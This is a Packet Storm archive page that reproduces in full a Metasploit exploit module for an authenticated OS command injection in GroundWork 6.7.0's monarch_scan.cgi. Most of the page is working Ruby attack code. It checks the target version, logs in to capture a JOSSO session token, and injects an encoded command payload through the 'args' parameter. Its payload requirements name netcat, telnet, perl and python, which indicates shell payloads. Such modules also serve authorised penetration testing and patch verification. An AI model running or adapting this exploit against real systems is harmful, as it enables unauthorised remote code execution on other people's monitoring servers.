exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GroundWork monarch_scan.cgi OS Command Injection

GroundWork monarch_scan.cgi OS Command Injection
Posted Apr 24, 2013
Authored by Johannes Greil, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in GroundWork 6.7.0. This software is used for network, application and cloud monitoring. The vulnerability exists in the monarch_scan.cgi, where user controlled input is used in the perl qx function, which allows any remote authenticated attacker, whatever his privileges are, to inject system commands and gain arbitrary code execution. The module has been tested successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04 based VM appliance.

tags | exploit, remote, arbitrary, cgi, perl, code execution
systems | linux, ubuntu
advisories | OSVDB-91051
SHA-256 | 4f033af844cdd623331a0bd422e02eb8ac32fdbef2908dd0e003506fe068e0b1

GroundWork monarch_scan.cgi OS Command Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "GroundWork monarch_scan.cgi OS Command Injection",
'Description' => %q{
This module exploits a vulnerability found in GroundWork 6.7.0. This software
is used for network, application and cloud monitoring. The vulnerability exists in
the monarch_scan.cgi, where user controlled input is used in the perl qx function,
which allows any remote authenticated attacker, whatever his privileges are, to
inject system commands and gain arbitrary code execution. The module has been tested
successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
based VM appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Johannes Greil', # Vulnerability Discovery, PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '91051' ],
[ 'US-CERT-VU', '345260' ],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 8190,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
},
# Based on the default Ubuntu 10.04 VM appliance
'RequiredCmd' => 'generic telnet netcat perl python'
},
'Platform' => ['unix', 'linux'],
'Targets' =>
[
['GroundWork 6.7.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Mar 8 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('USERNAME', [true, 'GroundWork Username', 'user']),
OptString.new('PASSWORD', [true, 'GroundWork Password', 'user'])
], self.class)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("josso", "signon", "login.do")
})

if res and res.body =~ /GroundWork.*6\.7\.0/
return Exploit::CheckCode::Appears
elsif res and res.body =~ /GroundWork/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def get_josso_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("josso", "signon", "usernamePasswordLogin.do"),
'vars_post' => {
'josso_cmd' => 'login',
'josso_username' => datastore['USERNAME'],
'josso_password' => datastore['PASSWORD']
}
})
if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
return $1
else
return nil
end
end

def execute_command(command)
http_handler = ((datastore['SSL']) ? "https" : "http")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("monarch", "monarch_scan.cgi"),
'headers' =>
{
'Referer' => "#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc"
},
'cookie' => "JOSSO_SESSIONID=#{@josso_id}",
'query' => "args=#{rand_text_alpha(3)}&args=#{rand_text_alpha(3)}&args=#{Rex::Text.uri_encode(command + ";")}"
})
return res
end

def exploit
peer = "#{rhost}:#{rport}"

print_status("#{peer} - Attempting to login...")
@josso_id = get_josso_token
if @josso_id.nil?
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID")
end
print_good("#{peer} - Authentication successful")

print_status("#{peer} - Sending malicious request...")
execute_command(payload.encoded)
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close